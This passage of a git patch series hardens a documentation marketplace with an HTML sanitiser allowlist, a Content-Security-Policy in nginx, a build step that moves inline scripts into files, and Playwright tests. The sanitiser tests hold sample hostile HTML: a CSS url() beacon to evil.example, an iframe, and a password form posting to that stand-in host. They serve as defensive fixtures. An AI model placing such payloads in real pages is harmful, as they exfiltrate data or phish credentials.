+    assert.match(html, /click/, 'link text is kept even though the href is dropped');
+  });
+
+  check('strips inline <style> and style attributes', () => {
+    // CSS is not inert: it can exfiltrate through url(), and absolute positioning
+    // lets a doc cover the marketplace masthead.
+    const html = rendered('<style>body{background:url("https://evil.example/beacon")}</style>\n\n<p style="position:fixed;inset:0">covered</p>\n');
+    assert.doesNotMatch(html, /<style/i);
+    assert.doesNotMatch(html, /evil\.example/);
+    assert.doesNotMatch(html, /style="/);
+    assert.match(html, /covered/);
+  });
+
+  check('strips iframes, objects and form controls', () => {
+    const html = rendered('<iframe src="https://evil.example"></iframe>\n\n<form action="https://evil.example"><input name="password" type="password"></form>\n');
+    assert.doesNotMatch(html, /<iframe/i);
+    assert.doesNotMatch(html, /<form/i);
+    assert.doesNotMatch(html, /type="password"/i);
+  });
+
+  check('keeps the markdown features the contract promises', () => {
+    const html = rendered([
+      '# Heading',
+      '',
+      '- [x] done',
+      '- [ ] todo',
+      '',
+      '| a | b |',
+      '|---|---|',
+      '| 1 | 2 |',
+      '',
+      '```js',
+      'const x = 1;',
+      '```',
+      '',
+      '```mermaid',
+      'flowchart LR',
+      '  a --> b',
+      '```',
+      '',
+      '**bold** and [link](https://example.com) and `code`',
+    ].join('\n'));
+
+    assert.match(html, /<h1[^>]*id="heading"/, 'heading anchors');
+    assert.match(html, /class="mp-anchor"/, 'anchor permalinks');
+    assert.match(html, /task-list-item/, 'task lists');
+    // Attribute order is not stable through the sanitiser, so assert each
+    // independently rather than pinning a sequence.
+    const checkbox = html.match(/<input\b[^>]*>/);
+    assert.ok(checkbox, 'task-list checkbox');
+    assert.match(checkbox[0], /type="checkbox"/, 'checkbox type');
+    assert.match(checkbox[0], /\bdisabled\b/, 'task-list checkboxes stay disabled');
+    assert.match(html, /<label class="task-list-item-label"/, 'checkbox keeps its label');
+    assert.match(html, /<table>/, 'tables');
+    assert.match(html, /<code class="hljs language-js">/, 'highlighted code');
+    assert.match(html, /hljs-keyword/, 'highlight.js spans');
+    assert.match(html, /<pre class="mermaid">flowchart LR/, 'mermaid sources');
+    assert.match(html, /<strong>bold<\/strong>/, 'inline formatting');
+    assert.match(html, /rel="noopener noreferrer"/, 'external link hardening');
+  });
+
+  check('keeps benign structural HTML an author hand-writes', () => {
+    const html = rendered('<details><summary>More</summary>\n\n<p>Body</p>\n\n</details>\n');
+    assert.match(html, /<details>/);
+    assert.match(html, /<summary>More<\/summary>/);
+    assert.match(html, /Body/);
+  });
+
+  check('adds rel=noopener to a hand-written target=_blank link', () => {
+    const html = rendered('<a href="https://example.com" target="_blank">out</a>\n');
+    assert.match(html, /rel="noopener noreferrer"/);
+  });
 } finally {
   rmSync(root, { recursive: true, force: true });
 }
diff --git a/actions/publish-single-page-docs/src/template.js b/actions/publish-single-page-docs/src/template.js
index 3e3b4af..a2fe92d 100644
--- a/actions/publish-single-page-docs/src/template.js
+++ b/actions/publish-single-page-docs/src/template.js
@@ -17,6 +17,8 @@
 export const CSS_PATH = 'assets/doc.css';
 /** Relative path to the vendored mermaid bundle (only written when needed). */
 export const MERMAID_PATH = 'assets/mermaid.min.js';
+/** Relative path to the mermaid init script (only written when needed). */
+export const MERMAID_INIT_PATH = 'assets/mermaid-init.js';
 
 /** Escapes a string for use in an HTML text node or double-quoted attribute. */
 export function escapeHtml(str) {
@@ -233,17 +235,25 @@ body { margin: 0; font-family: var(--font-sans); color: var(--text-body); }
 // ── Mermaid bootstrap ─────────────────────────────────────────────────────────
 
 /**
- * Inline bootstrap for the vendored mermaid bundle.
+ * Init script for the vendored mermaid bundle.
  *
  * Vendored rather than loaded from a CDN: marketplace pages are re-hosted inside
  * a web fragment behind a strict CSP, so every asset a doc needs must live in its
  * own artifact. `startOnLoad` is off because the marketplace swaps pages with
  * Astro's ClientRouter — rendering is driven from both the initial load and the
  * `astro:page-load` event instead.
+ *
+ * Shipped as a FILE rather than inlined.
+ *
+ * It used to be an inline <script> in the document. That is the one thing that
+ * makes a meaningful Content-Security-Policy impossible: allowing it means
+ * `script-src 'unsafe-inline'`, which allows every injected script too, and
+ * hashing it would hard-couple the marketplace's nginx config to this action's
+ * exact bytes — bundles published by an older version would then break. As a
+ * file it is covered by `script-src 'self'` and nothing has to know about it.
  */
-export function mermaidBootstrap() {
-  return `<script src="${MERMAID_PATH}"></script>
-<script>(function () {
+export const MERMAID_INIT_JS = `/* Generated by AbsaOSS/knowledge-base/actions/publish-single-page-docs — do not edit. */
+(function () {
   var render = function () {
     if (!window.mermaid) return;
     var nodes = document.querySelectorAll('pre.mermaid:not([data-processed])');
@@ -263,7 +273,13 @@ export function mermaidBootstrap() {
   if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', render);
   else render();
   document.addEventListener('astro:page-load', render);
-})();</script>`;
+})();
+`;
+
+/** The two external <script> tags a mermaid-using doc needs. No inline script. */
+export function mermaidBootstrap() {
+  return `<script src="${MERMAID_PATH}"></script>
+<script src="${MERMAID_INIT_PATH}"></script>`;
 }
 
 // ── Document ──────────────────────────────────────────────────────────────────
diff --git a/contract/SINGLE_PAGE.md b/contract/SINGLE_PAGE.md
index 6f70015..b01688e 100644
--- a/contract/SINGLE_PAGE.md
+++ b/contract/SINGLE_PAGE.md
@@ -143,6 +143,37 @@ source stays visible rather than disappearing.
 If your markdown has no top-level `#` heading, the action synthesises one from
 `title` plus `description`. If it has one, nothing is injected.
 
+### Raw HTML: what survives
+
+Markdown may contain raw HTML, as GitHub-flavoured markdown allows. It is put
+through an **allowlist** before it is packed into the artifact, because your
+rendered doc is re-hosted on the knowledge base's own origin alongside every
+other team's docs — anything that executes there executes against all of them.
+
+**Kept:** the structural and inline elements the doc stylesheet renders —
+headings, paragraphs, lists, tables, `details`/`summary`, `figure`, `blockquote`,
+`pre`/`code`, `img`, `a`, `label`, emphasis and the rest of the usual inline set,
+along with their `class` and `id` attributes.
+
+**Dropped, with the inner text kept where there is any:**
+
+| Removed | Why |
+|---|---|
+| `<script>` | Would run on the knowledge base origin |
+| `on*` attributes (`onclick`, `onerror`, …) | Same |
+| `<style>` and `style="…"` | CSS can exfiltrate via `url()` and can cover the marketplace masthead |
+| `<iframe>`, `<object>`, `<embed>` | Arbitrary embedded documents |
+| `<form>` and form controls (except task-list checkboxes) | Credential-phishing surface |
+| `javascript:` and `data:` URLs | Script execution by another name |
+
+If you need something that is currently dropped and it is genuinely inert, open
+an issue — the allowlist lives in `actions/publish-single-page-docs/src/sanitize.js`
+and is asserted by the action's self-test.
+
+There is no way to opt out. A doc that depends on inline scripting is not a
+single-page doc; package it as a full static site instead
+(see [HEADLESS_RULES.md](./HEADLESS_RULES.md)).
+
 ### Artifact layout
 
 `dist.tar.gz` unpacks to a `bundle.json` manifest plus one directory per doc:
@@ -153,6 +184,8 @@ my-service/
   index.html
   assets/doc.css
   assets/mermaid.min.js     ← only when that doc uses mermaid
+  assets/mermaid-init.js    ← ditto; kept out of the HTML so the marketplace
+                              can serve script-src 'self'
 my-service-releases/
   index.html
   assets/doc.css
diff --git a/nginx.headers.conf b/nginx.headers.conf
index facd0d0..7c783e2 100644
--- a/nginx.headers.conf
+++ b/nginx.headers.conf
@@ -33,7 +33,30 @@ add_header Referrer-Policy         "strict-origin"   always;
 
 # Deliberately NOT set: X-XSS-Protection. The legacy XSS auditor is gone from
 # every current browser, and the header has a history of introducing
-# vulnerabilities rather than preventing them. Content-Security-Policy is the
-# replacement and is tracked separately (#42) — it needs the inline <style> in
-# Base.astro, the shadow-DOM compat styles and the mermaid bootstrap script
-# accounted for, so it is not a one-line addition here.
+# vulnerabilities rather than preventing them. Content-Security-Policy below is
+# the replacement.
+
+# ── Content-Security-Policy ──────────────────────────────────────────────────
+#
+# Defence in depth behind the publish-time sanitiser: doc HTML comes from other
+# repositories' release artifacts and is re-hosted on this origin next to every
+# other doc, so a bypass of the sanitiser must not become script execution.
+#
+# script-src 'self' with no 'unsafe-inline' is the point of the whole policy, and
+# it only holds because nothing inline survives into dist/:
+#   • the publishing action ships its mermaid init as assets/mermaid-init.js
+#   • scripts/hoist-inline-scripts.js moves any inline <script> in a sub-app
+#     artifact into a file at build time, which is what keeps bundles published
+#     before that change working
+# Adding an inline <script> anywhere breaks the page rather than the policy —
+# tests/build-integrity.spec.js fails the build first.
+#
+# style-src keeps 'unsafe-inline'. Base.astro's @layer ordering fix, the
+# shadow-DOM compat styles and sub-app style= attributes are all inline, and CSS
+# is a far weaker injection primitive than script. Tightening it means hashing
+# or hoisting styles the same way — worth doing, not worth blocking this on.
+#
+# frame-src allows https: because `type: "iframe"` registry entries embed
+# arbitrary external documentation sites; blob: is for the web-fragments
+# reframing iframe. font-src covers Google Fonts until they are self-hosted (#54).
+add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: https:; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self'; frame-src 'self' https: blob:; worker-src 'self' blob:; frame-ancestors 'self'; base-uri 'none'; form-action 'self'; object-src 'none'" always;
diff --git a/playwright.config.docker.js b/playwright.config.docker.js
index 73b2567..5e596d7 100644
--- a/playwright.config.docker.js
+++ b/playwright.config.docker.js
@@ -21,7 +21,7 @@
 // web-fragments gateway that sits in front of it in production — that is what
 // the embedded harness in playwright.config.js is for.
 
-import { defineConfig } from '@playwright/test';
+import { defineConfig, devices } from '@playwright/test';
 
 const PORT = process.env.KB_CONTAINER_PORT || '8099';
 
@@ -49,6 +49,8 @@ export default defineConfig({
     stderr: 'pipe',
   },
 
-  // No browser needed — every assertion is an HTTP request against nginx.
-  projects: [{ name: 'nginx' }],
+  // Most assertions are plain HTTP requests against nginx, but the CSP ones need
+  // a real browser: a policy that blocks something the page needs fails
+  // silently, and only a browser reports the violation.
+  projects: [{ name: 'nginx', use: { ...devices['Desktop Chrome'] } }],
 });
diff --git a/scripts/build-vite.js b/scripts/build-vite.js
index f4b6bc9..021914b 100644
--- a/scripts/build-vite.js
+++ b/scripts/build-vite.js
@@ -21,6 +21,8 @@ import { homedir } from 'node:os';
 import { execSync } from 'node:child_process';
 import { copyDir, stageArtifact } from './artifacts.js';
 import { fetchApps } from './fetch-apps.js';
+import { HOIST_DIR, hoistAppInlineScripts } from './hoist-inline-scripts.js';
+import { collectHtmlFiles } from '../src/utils/apps.js';
 import {
   BUNDLE_MANIFEST, bundleDirName, bundleKey, expandBundle, findBundleRoot,
   isSinglePage, readBundleManifest, resolveRegistry, toRegistryEntry, writeExpansionMap,
@@ -229,6 +231,24 @@ async function build() {
   const resolvedApps = resolveRegistry(registeredApps, expansions, warn);
   const packagedResolved = resolvedApps.filter(a => a.type !== 'iframe');
 
+  // 1b. Hoist inline <script> bodies out of sub-app HTML into files.
+  //     The marketplace serves script-src 'self'; an inline script anywhere would
+  //     force 'unsafe-inline' on every page. Bundles published before the action
+  //     stopped emitting one still contain it, and this repo does not control
+  //     when those repos re-publish — so it is fixed here rather than assumed.
+  step('1b/4  Hoisting inline scripts → files');
+  let hoisted = 0;
+  for (const app of resolvedApps.filter(a => a.type !== 'iframe')) {
+    const appDir = join(APPS_DIR, app.slug);
+    if (!existsSync(appDir)) continue;
+    const count = hoistAppInlineScripts(appDir, collectHtmlFiles(appDir));
+    if (count > 0) {
+      hoisted += count;
+      ok(app.slug + ': ' + count + ' inline script(s) → ' + HOIST_DIR + '/');
+    }
+  }
+  if (hoisted === 0) log('No inline scripts found — every artifact is already CSP-clean');
+
   // 2. Copy non-HTML sub-app assets → public/{slug}/ so Astro copies them to dist/{slug}/
   //    HTML files are excluded — they're handled by src/pages/[...path].astro.
   step('2/4  Copying sub-app assets → public/');
diff --git a/scripts/hoist-inline-scripts.js b/scripts/hoist-inline-scripts.js
new file mode 100644
index 0000000..6b180b9
--- /dev/null
+++ b/scripts/hoist-inline-scripts.js
@@ -0,0 +1,106 @@
+/**
+ * hoist-inline-scripts.js — move inline <script> bodies into files.
+ *
+ * WHY
+ *
+ * The marketplace serves a Content-Security-Policy with `script-src 'self'`. An
+ * inline <script> anywhere in a page defeats that: allowing it means adding
+ * 'unsafe-inline', which allows an injected script too, and hashing every one is
+ * not possible because the HTML comes from other repositories' release artifacts.
+ *
+ * The publishing action no longer emits inline scripts (the mermaid init ships
+ * as assets/mermaid-init.js). But bundles published *before* that change still
+ * contain one, and this repository does not control when those repos re-publish.
+ * Enforcing the CSP without this step would silently break every already-published
+ * doc's diagrams — verified against the sibling example repo's real artifact.
+ *
+ * So the marketplace hoists them itself, at build time, before anything else
+ * reads apps/. Old bundles and new ones end up equally CSP-clean.
+ *
+ * ORDER IS PRESERVED
+ *
+ * A classic <script src> without defer/async blocks the parser exactly like an
+ * inline script does, so hoisting does not reorder execution.
+ *
+ * WHAT IS LEFT ALONE
+ *
+ * Only executable scripts are hoisted. `application/ld+json`, `text/template`,
+ * `importmap` and friends are data, not code — a CSP does not care about them
+ * and moving them would break whatever reads them.
+ */
+
+import { createHash } from 'node:crypto';
+import { mkdirSync, readFileSync, writeFileSync } from 'node:fs';
+import { dirname, join, relative } from 'node:path';
+
+/** Directory (relative to an app root) the hoisted files are written to. */
+export const HOIST_DIR = '_kb-inline';
+
+/** Script types that actually execute. Anything else is data. */
+const EXECUTABLE_TYPES = new Set(['', 'module', 'text/javascript', 'application/javascript']);
+
+/** True when a <script> tag's attributes describe executable, non-external code. */
+function isExecutableInline(attrs) {
+  if (/\bsrc\s*=/i.test(attrs)) return false; // already external
+  const type = attrs.match(/\btype\s*=\s*["']([^"']*)["']/i)?.[1]?.trim().toLowerCase() ?? '';
+  return EXECUTABLE_TYPES.has(type);
+}
+
+/**
+ * Rewrites one HTML document, writing each inline script to its own file.
+ *
+ * @param {string} html       - document source
+ * @param {string} appDir     - app root on disk; hoisted files go under appDir/HOIST_DIR
+ * @param {string} fileRelDir - the document's directory relative to appDir ('' at the root)
+ * @returns {{html: string, written: number}}
+ */
+export function hoistInlineScripts(html, appDir, fileRelDir) {
+  let written = 0;
+
+  const out = html.replace(
+    /<script\b([^>]*)>([\s\S]*?)<\/script>/gi,
+    (match, attrs, body) => {
+      if (!isExecutableInline(attrs)) return match;
+      if (body.trim() === '') return match;
+
+      // Content-addressed: two pages sharing a bootstrap share one file, and a
+      // rebuild of unchanged input produces an unchanged name.
+      const hash = createHash('sha256').update(body).digest('hex').slice(0, 16);
+      const fileName = `${hash}.js`;
+      mkdirSync(join(appDir, HOIST_DIR), { recursive: true });
+      writeFileSync(join(appDir, HOIST_DIR, fileName), body);
+      written++;
+
+      // Emitted relative, so transform.js rewrites it to the absolute
+      // /{prefix}/{slug}/… form along with every other URL in the document.
+      const up = fileRelDir ? relative(join('x', fileRelDir), 'x').replace(/\\/g, '/') + '/' : '';
+      const src = `${up}${HOIST_DIR}/${fileName}`;
+
+      // Keep the original attributes (type="module" matters) minus the body.
+      return `<script${attrs} src="${src}"></script>`;
+    },
+  );
+
+  return { html: out, written };
+}
+
+/**
+ * Applies hoistInlineScripts to every HTML file of an app, in place.
+ *
+ * @param {string} appDir    - apps/{slug}
+ * @param {string[]} htmlFiles - absolute paths to that app's HTML files
+ * @returns {number} how many scripts were hoisted
+ */
+export function hoistAppInlineScripts(appDir, htmlFiles) {
+  let total = 0;
+  for (const file of htmlFiles) {
+    const fileRelDir = relative(appDir, dirname(file)).replace(/\\/g, '/');
+    const source = readFileSync(file, 'utf8');
+    const { html, written } = hoistInlineScripts(source, appDir, fileRelDir === '.' ? '' : fileRelDir);
+    if (written > 0) {
+      writeFileSync(file, html);
+      total += written;
+    }
+  }
+  return total;
+}
diff --git a/scripts/setup-test-apps.mjs b/scripts/setup-test-apps.mjs
index 2fa5d44..aec59f8 100644
--- a/scripts/setup-test-apps.mjs
+++ b/scripts/setup-test-apps.mjs
@@ -23,7 +23,7 @@ import { mkdirSync, rmSync, writeFileSync, existsSync } from 'node:fs';
 import { dirname, join, resolve, isAbsolute } from 'node:path';
 import { fileURLToPath } from 'node:url';
 
-import { DOC_CSS, CSS_PATH, MERMAID_PATH, renderDocument } from '../actions/publish-single-page-docs/src/template.js';
+import { DOC_CSS, CSS_PATH, MERMAID_INIT_JS, MERMAID_INIT_PATH, MERMAID_PATH, renderDocument } from '../actions/publish-single-page-docs/src/template.js';
 
 const __dirname = dirname(fileURLToPath(import.meta.url));
 const ROOT = join(__dirname, '..');
@@ -147,7 +147,13 @@ function writeSinglePageBundle() {
       hasHeading:  true,
     }));
     writeFileSync(join(docDir, CSS_PATH), DOC_CSS);
-    if (doc.usesMermaid) writeFileSync(join(docDir, MERMAID_PATH), MERMAID_STUB);
+    if (doc.usesMermaid) {
+      writeFileSync(join(docDir, MERMAID_PATH), MERMAID_STUB);
+      // Real init script, not a stub: it is the thing that must stay out of the
+      // HTML for the marketplace's script-src 'self' to hold, so the fixture
+      // ships it exactly as the action does.
+      writeFileSync(join(docDir, MERMAID_INIT_PATH), MERMAID_INIT_JS);
+    }
   }
 
   writeFileSync(join(root, 'bundle.json'), JSON.stringify({
diff --git a/tests/build-integrity.spec.js b/tests/build-integrity.spec.js
index 2bb7e9c..646f85b 100644
--- a/tests/build-integrity.spec.js
+++ b/tests/build-integrity.spec.js
@@ -11,9 +11,9 @@
  */
 
 import { test, expect } from '@playwright/test';
-import { readFileSync, existsSync } from 'node:fs';
+import { readFileSync, existsSync, readdirSync } from 'node:fs';
 import { fileURLToPath } from 'node:url';
-import { dirname, join } from 'node:path';
+import { dirname, join, relative } from 'node:path';
 
 const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
 const DIST = join(ROOT, 'dist');
@@ -253,3 +253,68 @@ test.describe('Masthead', () => {
     }
   });
 });
+
+// ─────────────────────────────────────────────────────────────────────────────
+// CSP preconditions
+//
+// The marketplace serves script-src 'self' with no 'unsafe-inline'. That only
+// holds while nothing inline survives the build — so the build output is the
+// thing asserted, not the intent. If this fails, the CSP is about to start
+// breaking pages silently.
+// ─────────────────────────────────────────────────────────────────────────────
+
+test.describe('no inline scripts in the build output', () => {
+  /** Every .html file under dist/, recursively. */
+  function htmlFiles(dir, acc = []) {
+    for (const entry of readdirSync(dir, { withFileTypes: true })) {
+      const full = join(dir, entry.name);
+      if (entry.isDirectory()) htmlFiles(full, acc);
+      else if (entry.name.endsWith('.html')) acc.push(full);
+    }
+    return acc;
+  }
+
+  test('every <script> in dist/ has a src', () => {
+    const offenders = [];
+    for (const file of htmlFiles(DIST)) {
+      const html = readFileSync(file, 'utf8');
+      for (const [tag, attrs, body] of html.matchAll(/<script\b([^>]*)>([\s\S]*?)<\/script>/gi)) {
+        if (/\bsrc\s*=/i.test(attrs)) continue;
+        if (body.trim() === '') continue;
+        // Data blocks are not executable and CSP does not apply to them.
+        const type = attrs.match(/\btype\s*=\s*["']([^"']*)["']/i)?.[1]?.toLowerCase() ?? '';
+        if (type && !['module', 'text/javascript', 'application/javascript'].includes(type)) continue;
+        offenders.push(`${relative(DIST, file)}: ${tag.slice(0, 80)}`);
+      }
+    }
+    expect(
+      offenders,
+      "inline <script> in the output — script-src 'self' would block it. " +
+      'scripts/hoist-inline-scripts.js should have moved it to a file.',
+    ).toEqual([]);
+  });
+
+  test('inline scripts from sub-app artifacts were hoisted to files', () => {
+    // The vendored docs-example fixture ships inline scripts, so this asserts
+    // the hoist actually ran rather than that there was nothing to do.
+    const hoistDirs = htmlFiles(DIST)
+      .map((f) => dirname(f))
+      .filter((d) => existsSync(join(d, '_kb-inline')));
+    expect(hoistDirs.length, 'no _kb-inline/ directory anywhere — did the hoist step run?')
+      .toBeGreaterThan(0);
+  });
+
+  test('hoisted scripts are referenced by absolute prefixed paths', () => {
+    // A nested page: the fixture's inline scripts live on inner pages, so this
+    // also covers the ../ depth computation — a hoisted script referenced from
+    // user-guide/docs/ must still resolve to the app root, not one level up.
+    const html = read('user-guide/docs/index.html');
+    const srcs = [...html.matchAll(/<script[^>]+src="([^"]+)"/g)].map((m) => m[1]);
+    const hoisted = srcs.filter((s) => s.includes('_kb-inline'));
+    expect(hoisted.length, 'user-guide/docs should reference hoisted scripts').toBeGreaterThan(0);
+    for (const src of hoisted) {
+      expect(src, 'hoisted script must be rewritten like every other URL').toMatch(/^\/knowledge-base\/user-guide\/_kb-inline\//);
+      expect(existsSync(join(DIST, src.replace(/^\/knowledge-base\//, ''))), `${src} is not in dist/`).toBe(true);
+    }
+  });
+});
diff --git a/tests/container.spec.js b/tests/container.spec.js
index b108d41..84f8032 100644
--- a/tests/container.spec.js
+++ b/tests/container.spec.js
@@ -144,6 +144,38 @@ test.describe('response headers', () => {
     expect(res.headers()['x-xss-protection']).toBeUndefined();
   });
 
+  // The CSP is the defence-in-depth half of #42, behind the publish-time
+  // sanitiser. script-src with no 'unsafe-inline' is the part that matters, and
+  // it only holds because nothing inline survives the build — see
+  // tests/build-integrity.spec.js and scripts/hoist-inline-scripts.js.
+  test('a Content-Security-Policy is served, with script-src locked down', async ({ request }) => {
+    const res = await request.get('/knowledge-base/');
+    const csp = res.headers()['content-security-policy'];
+    expect(csp, 'no CSP header').toBeTruthy();
+
+    const directives = Object.fromEntries(
+      csp.split(';').map((d) => d.trim()).filter(Boolean).map((d) => {
+        const [name, ...values] = d.split(/\s+/);
+        return [name, values.join(' ')];
+      }),
+    );
+
+    expect(directives['script-src']).toBe("'self'");
+    expect(directives['script-src'], "'unsafe-inline' would let an injected script run")
+      .not.toContain('unsafe-inline');
+    expect(directives['script-src'], "'unsafe-eval' is not needed by anything here")
+      .not.toContain('unsafe-eval');
+    expect(directives['object-src']).toBe("'none'");
+    expect(directives['base-uri'], 'a <base> tag can redirect every relative URL').toBe("'none'");
+    expect(directives['default-src']).toBe("'self'");
+    expect(directives['frame-ancestors']).toBe("'self'");
+  });
+
+  test('the CSP reaches static assets too, not just pages', async ({ request }) => {
+    const res = await request.get('/knowledge-base/style.css');
+    expect(res.headers()['content-security-policy']).toBeTruthy();
+  });
+
   test('knowledge-base responses carry Cache-Control: no-transform', async ({ request }) => {
     // Stops an intermediate proxy (the FragmentGateway) re-encoding the body and
     // leaking a Content-Encoding header the browser then fails to decode.
@@ -152,6 +184,63 @@ test.describe('response headers', () => {
   });
 });
 
+// ─────────────────────────────────────────────────────────────────────────────
+// The CSP in a real browser
+//
+// Asserting the header is not the same as asserting the page still works under
+// it. A CSP that blocks something the page needs fails silently — no error
+// status, no failed request in a header check, just a page that quietly stopped
+// doing part of its job. Only a browser reports the violation.
+// ─────────────────────────────────────────────────────────────────────────────
+
+test.describe('CSP in a browser', () => {
+  const pages = [
+    ['the landing catalog', '/knowledge-base/'],
+    ['a packaged sub-app page', '/knowledge-base/user-guide/'],
+    ['a single-page doc with a diagram', '/knowledge-base/platform-overview/'],
+    ['a single-page doc without one', '/knowledge-base/release-process/'],
+  ];
+
+  for (const [label, path] of pages) {
+    test(`${label} loads with no CSP violation`, async ({ page }) => {
+      const violations = [];
+      page.on('console', (msg) => {
+        const text = msg.text();
+        if (/Content Security Policy|Refused to (load|execute|apply|connect)/i.test(text)) {
+          violations.push(text);
+        }
+      });
+      page.on('pageerror', (err) => violations.push(`page error: ${err.message}`));
+
+      await page.goto(path, { waitUntil: 'networkidle' });
+
+      expect(violations, `CSP blocked something on ${path}`).toEqual([]);
+      // A blocked stylesheet or script often still leaves a rendered body, so
+      // assert the masthead specifically — it is the one thing every page has.
+      await expect(page.locator('header, [class*="masthead"]').first()).toBeVisible();
+    });
+  }
+
+  test('the hoisted sub-app scripts actually execute under the policy', async ({ page }) => {
+    const blocked = [];
+    page.on('response', (res) => {
+      if (res.url().includes('_kb-inline') && !res.ok()) blocked.push(`${res.status()} ${res.url()}`);
+    });
+    const loaded = [];
+    page.on('request', (req) => {
+      if (req.url().includes('_kb-inline')) loaded.push(req.url());
+    });
+
+    // A nested page, not the app index: the docs-example fixture's inline
+    // scripts live on its inner pages, and this also exercises the ../ depth
+    // computation in scripts/hoist-inline-scripts.js.
+    await page.goto('/knowledge-base/user-guide/docs/', { waitUntil: 'networkidle' });
+
+    expect(loaded.length, 'no hoisted script was requested — did the hoist step run?').toBeGreaterThan(0);
+    expect(blocked, 'a hoisted script failed to load').toEqual([]);
+  });
+});
+
 // ─────────────────────────────────────────────────────────────────────────────
 // Container posture
 // ─────────────────────────────────────────────────────────────────────────────
diff --git a/tests/fixtures/single-page-bundle/platform-overview/assets/mermaid-init.js b/tests/fixtures/single-page-bundle/platform-overview/assets/mermaid-init.js
new file mode 100644
index 0000000..a8ee9ba
--- /dev/null
+++ b/tests/fixtures/single-page-bundle/platform-overview/assets/mermaid-init.js
@@ -0,0 +1,22 @@
+/* Generated by AbsaOSS/knowledge-base/actions/publish-single-page-docs — do not edit. */
+(function () {
+  var render = function () {
+    if (!window.mermaid) return;
+    var nodes = document.querySelectorAll('pre.mermaid:not([data-processed])');
+    if (!nodes.length) return;
+    window.mermaid.initialize({
+      startOnLoad: false,
+      theme: 'base',
+      securityLevel: 'strict',
+      fontFamily: 'Inter, Noto Sans, ui-sans-serif, system-ui, sans-serif',
+      themeVariables: {
+        primaryColor: '#f8eaee', primaryTextColor: '#1b0e12', primaryBorderColor: '#af144b',
+        lineColor: '#93103f', secondaryColor: '#f0d0da', tertiaryColor: '#fdf8f9'
+      }
+    });
+    try { window.mermaid.run({ nodes: nodes }); } catch (e) { /* leave the source visible */ }
+  };
+  if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', render);
+  else render();
+  document.addEventListener('astro:page-load', render);
+})();
diff --git a/tests/fixtures/single-page-bundle/platform-overview/index.html b/tests/fixtures/single-page-bundle/platform-overview/index.html
index a7024d2..86e99ad 100644
--- a/tests/fixtures/single-page-bundle/platform-overview/index.html
+++ b/tests/fixtures/single-page-bundle/platform-overview/index.html
@@ -36,26 +36,6 @@ <h2 id="request-flow" tabindex="-1">Request flow <a class="mp-anchor" href="#req
   client --&gt; gateway --&gt; service</pre>
 </article>
 <script src="assets/mermaid.min.js"></script>
-<script>(function () {
-  var render = function () {
-    if (!window.mermaid) return;
-    var nodes = document.querySelectorAll('pre.mermaid:not([data-processed])');
-    if (!nodes.length) return;
-    window.mermaid.initialize({
-      startOnLoad: false,
-      theme: 'base',
-      securityLevel: 'strict',
-      fontFamily: 'Inter, Noto Sans, ui-sans-serif, system-ui, sans-serif',
-      themeVariables: {
-        primaryColor: '#f8eaee', primaryTextColor: '#1b0e12', primaryBorderColor: '#af144b',
-        lineColor: '#93103f', secondaryColor: '#f0d0da', tertiaryColor: '#fdf8f9'
-      }
-    });
-    try { window.mermaid.run({ nodes: nodes }); } catch (e) { /* leave the source visible */ }
-  };
-  if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', render);
-  else render();
-  document.addEventListener('astro:page-load', render);
-})();</script>
+<script src="assets/mermaid-init.js"></script>
 </body>
 </html>
diff --git a/tests/fragment-server.mjs b/tests/fragment-server.mjs
index 47750f8..a7910bb 100644
--- a/tests/fragment-server.mjs
+++ b/tests/fragment-server.mjs
@@ -32,6 +32,25 @@ if (!existsSync(DIST)) {
   process.exit(1);
 }
 
+/**
+ * Kept byte-identical to the policy in nginx.headers.conf.
+ * tests/nginx-config.spec.js asserts the two do not drift.
+ */
+const CSP = [
+  "default-src 'self'",
+  "script-src 'self'",
+  "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
+  "img-src 'self' data: https:",
+  "font-src 'self' data: https://fonts.gstatic.com",
+  "connect-src 'self'",
+  "frame-src 'self' https: blob:",
+  "worker-src 'self' blob:",
+  "frame-ancestors 'self'",
+  "base-uri 'none'",
+  "form-action 'self'",
+  "object-src 'none'",
+].join('; ');
+
 const app = express();
 
 // nginx: include /etc/nginx/kb-headers.conf — the shared CORS + security set.
@@ -46,6 +65,10 @@ app.use((_req, res, next) => {
     'X-Content-Type-Options': 'nosniff',
     'X-Frame-Options': 'SAMEORIGIN',
     'Referrer-Policy': 'strict-origin',
+    // Same policy nginx.headers.conf serves. Mirrored here so the embedded
+    // harness exercises it through the web-fragments gateway — a CSP that
+    // breaks reframing fails silently, and this is where that would show up.
+    'Content-Security-Policy': CSP,
   });
   next();
 });
diff --git a/tests/nginx-config.spec.js b/tests/nginx-config.spec.js
index 2fa29d1..dedaee4 100644
--- a/tests/nginx-config.spec.js
+++ b/tests/nginx-config.spec.js
@@ -90,6 +90,26 @@ test.describe('nginx.conf header inheritance', () => {
     expect(uncomment(CONF) + uncomment(HEADERS_CONF)).not.toContain('X-XSS-Protection');
   });
 
+  // The Express mirror serves the same policy so the embedded harness exercises
+  // it through the gateway. Two copies means they can drift, so the drift is
+  // what gets asserted.
+  test('the CSP in nginx.headers.conf matches the one the test mirror serves', () => {
+    const nginxCsp = uncomment(HEADERS_CONF)
+      .match(/add_header\s+Content-Security-Policy\s+"([^"]+)"/)?.[1];
+    expect(nginxCsp, 'no CSP in nginx.headers.conf').toBeTruthy();
+
+    const mirror = readFileSync(join(ROOT, 'tests', 'fragment-server.mjs'), 'utf8');
+    const mirrorCsp = mirror
+      .match(/const CSP = \[([\s\S]*?)\]\.join\('; '\)/)?.[1]
+      ?.split('\n')
+      .map((l) => l.trim().replace(/^["']|["'],?$/g, ''))
+      .filter(Boolean)
+      .join('; ');
+
+    expect(mirrorCsp, 'no CSP in tests/fragment-server.mjs').toBeTruthy();
+    expect(mirrorCsp, 'the mirror and nginx must serve the same policy').toBe(nginxCsp);
+  });
+
   test('healthz sets its content type with default_type, not a post-return add_header', () => {
     const healthz = locationBlocks(uncomment(CONF)).find((b) => b.selector === '= /healthz');
     expect(healthz, '/healthz location block').toBeTruthy();

From a5f85af445f52a518719c0d15dbbc85e52a2437b Mon Sep 17 00:00:00 2001
From: Oto Macenauer <oto.macenauer@absa.africa>
Date: Fri, 14 Aug 2026 14:17:43 +0200
